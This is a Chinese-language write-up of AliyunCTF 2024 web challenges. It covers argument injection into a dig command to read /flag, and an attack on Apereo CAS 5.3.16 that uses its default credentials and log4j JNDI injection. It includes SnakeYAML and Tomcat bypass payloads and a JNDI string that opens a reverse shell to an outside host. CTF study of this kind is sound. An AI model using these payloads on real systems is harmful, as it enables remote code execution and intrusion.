AliyunCTF-2024
AliyunCTF赛题记录
Web
web签到
dig指令,传参
{"domain":"baidu.com","type":"CNAME"} |
domain
不能用,但是type
没有限制,直接读文件,但是要注意的是-f
后面阶段参数不要用空格分开(一直用空格分开然后一直No such file or directory
,一度怀疑人生)
{"domain":"baidu.com","type":"-f/flag"} |
easyCAS
描述:怎么网上都是 4.X 的漏洞,版本 5.X 没漏洞了吗,可是都是六年前的了,真的没问题吗,不管了,那我就搭起来看看吧,反正没漏洞密码也懒得改了。嗷~对了,还要调一下代码,开一下调试功能。 |
cAS部署的服务
Powered by Apereo Central Authentication Service 5.3.16 2022-01-07T20:24:58Z |
先去下一下源码,一个是源码文件,另一个是官方给的服务的部署模板,可以直接下载war包的
https://github.com/apereo/cas |
下载模板,简单粗暴点直接复制pom.xml
的内容到maven中下载就能拿到war
包,在application.properties
中能看到默认的用户名和密码
cas.authn.accept.users=casuser::Mellon |
到这里就有两种做法了,一种是CAS
的组件漏洞,这里用到了log4j 2.12.1
,低版本是有jndi
注入的,登录名是有log记录的(我没找到具体代码TuT,各位师傅提到的),所以可以进行jndi
注入,试试dnslog确实是有${jndi:ldap://dnslog}
直接打并不行,应该是限制了不能随意远程加载任意类了,但是还有本地工厂类的bypass
,这种就要求所用的组件本身就要带有楼哦东
按照jndi
的原理,rmi
会请求远程地址,得到一个Reference
类,然后再解析这个引用来加载类
去lib
里面看,有漏洞的就有snakeyaml
和tomcat
等,这里就讲一下snakeyaml
的bypass
new Yaml().load()
下面的payload的时候就会触发加载任意类,然后通过远程地址获取恶意jar
并加载来达到RCE
,跟jndi
的做法很像
!!javax.script.ScriptEngineManager [ |
这里用的是基于ScriptEngineManager利用链,这里讲的很清楚,还需要构造一个恶意jar
包,用这个仓库的模板,可以自己写恶意jar里面的命令执行,然后打包
javac src/artsploit/AwesomeScriptEngineFactory.java |
然后将这个jar包开一个web server来放着,要保证与上面的yaml的payload里的地址一致
到这里yaml的利用链准备就完成了,接下来是jndi的rmi服务的搭建,rmi是要返回Reference
的
import org.apache.naming.ResourceRef; |
这个就是要生成的恶意.class
文件,可以使用工具将他跟rmi服务一起部署,或者自己写java代码让rmi服务就返回上面的内容,然后去访问rmi促发jndi注入就可以了,在上面的yaml的恶意jar包中可以使用socket进行反弹shell
这里的话我就使用工具了,X1r0z师傅的JNDIMAP
,使用${jndi:ldap://ip:1389/TomcatBypass/ReverseShell/ip/2323}
或者${jndi:ldap://ip:1389/snakeyaml/ReverseShell/ip/2323}
都可以
其中snakeyaml
的流程就是上面所说的
第二种做法就是,CAS
自身的版本漏洞了,我们有默认的账号与密码